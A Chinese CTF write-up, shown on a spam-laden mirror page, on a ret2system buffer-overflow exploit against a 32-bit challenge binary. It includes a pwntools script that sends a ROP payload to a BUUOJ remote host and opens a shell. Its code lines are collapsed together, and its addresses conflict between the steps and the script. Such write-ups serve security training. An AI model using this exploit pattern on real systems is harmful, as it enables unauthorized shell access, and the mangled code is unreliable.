当前位置: 首页 > wzjs >正文

青岛网站设计建议i青岛博采网络徐州网页关键词优化

青岛网站设计建议i青岛博采网络,徐州网页关键词优化,长春直销网站开发,所见即所得网页编辑器1. 背景分析 目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell: 程序中存在 system() 函数,但没有明显的 /bin/sh 字符串。 使用工具(如 ROPgadget)发现程序中有 sh 字符串,可…
1. 背景分析

目标程序是一个存在漏洞的二进制文件,我们可以通过以下方式利用漏洞获取 shell:

  1. 程序中存在 system() 函数,但没有明显的 /bin/sh 字符串。

  2. 使用工具(如 ROPgadget)发现程序中有 sh 字符串,可以利用它作为 system() 的参数。

  3. 程序的交互逻辑需要先输入密码,然后选择操作,最后通过溢出漏洞触发 ROP 链。

2. 具体步骤
步骤 1:确定偏移量

通过分析程序的漏洞点(例如通过格式化字符串漏洞或堆溢出漏洞),找到可以覆盖返回地址的偏移量。假设偏移量为 0x48 + 4

步骤 2:查找关键地址

使用工具(如 ROPgadgetIDA Pro)查找以下地址:

  • system() 函数的地址。

  • main() 函数的地址(用于防止程序崩溃)。

  • sh 字符串的地址。

示例命令:

bash复制

ROPgadget --binary ./zzz --search "system"
ROPgadget --binary ./zzz --search "sh"

假设:

  • system() 的地址为 0x08048430

  • main() 的地址为 0x08048500

  • sh 的地址为 0x08048123

步骤 3:交互流程

程序的交互逻辑如下:

  1. 程序提示输入管理员密码。

  2. 程序提供选项,需要选择 1 添加 log。

  3. 程序提示输入新的 log,此时发送构造的 ROP 链。

  4. 再次选择操作,选择 4 触发漏洞。

步骤 4:构造 ROP 链

根据上述地址和偏移量,构造 ROP 链:

  1. 填充到返回地址的偏移量。

  2. 覆盖返回地址为 system() 的地址。

  3. system() 返回后跳转到 main(),防止程序崩溃。

  4. sh 的地址作为 system() 的参数。

步骤 5:发送 ROP 链并触发漏洞

通过网络交互,发送构造的 ROP 链,并触发漏洞。

第一个条件s1 == 'administrator'

 ADDLog():我们看到这里是输入log,跟我们的flag有关系

                          a1是我们外面传进来的src = 48,读取128个就造成了溢出

 

from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
content = 0
elf = ELF('./zzz')def main():if content == 1:p = process('zzz')else:p =remote('node5.buuoj.cn',25739)#0x080482ea : shsh_addr     = 0x080482easystem_addr = elf.sym['system']payload     = b'a' * (0x48+0x4) + p32(system_addr) + b'aaaa' + p32(sh_addr)p.sendlineafter("Please input admin password:",'administrator')p.sendlineafter("0.Exit\n:",'1')p.sendlineafter("Please input new log info:",payload)p.sendlineafter("0.Exit\n:",'4')p.interactive()
main()

http://www.dtcms.com/wzjs/225656.html

相关文章:

  • wordpress主题中文字体插件惠州seo代理计费
  • 如何创建自己的网店seo引擎优化专员
  • 泉州网站建设价格百度热搜风云榜
  • 网站建设实训个人总结seo权威入门教程
  • 临猗做网站网络营销推广方式包括哪些
  • 网站开发详细流程安徽网络关键词优化
  • 网站开发如何下载服务器文档个人对网络营销的看法
  • 网站域名证书查询seo整站优化方案案例
  • 做360网站首页软件线上营销活动主要有哪些
  • iis做网站主目录选哪里seo快速优化软件网站
  • 网站常用素材厦门关键词seo排名网站
  • 容县建设工程交易中心网站搜索引擎调词工具
  • 做闪图的网站郑州seo排名工具
  • 城市建设网站百度推广有用吗
  • 隆尧网站制作竞价推广哪家公司好
  • 北京网站平台建设公司软文优化
  • 网站设计分辨率防晒霜营销软文
  • wordpress取消邮件北京网站优化哪家好
  • svg图片做网站背景企业品牌网站营销
  • 广州建外贸网站公司简介2022当下社会热点话题
  • 上海市建设厅网站sem运营有出路吗
  • 自己做发卡网站长互联网产品营销策划方案
  • 新郑做网站优化业务推广方式有哪些
  • 网站建设 宁夏网站推广怎么做才有效果
  • 扬中网站建设要多少钱浏览广告赚钱的平台
  • 恒锐奇 做网站合肥关键词快速排名
  • 马鞍山市住房和城乡建设部网站优化大师电脑版官方免费下载
  • wordpress好用插件推荐怀化网站seo
  • 那么多网站都是谁做的如何设置淘宝友情链接
  • 视频网站的防盗链是怎么做的免费下载百度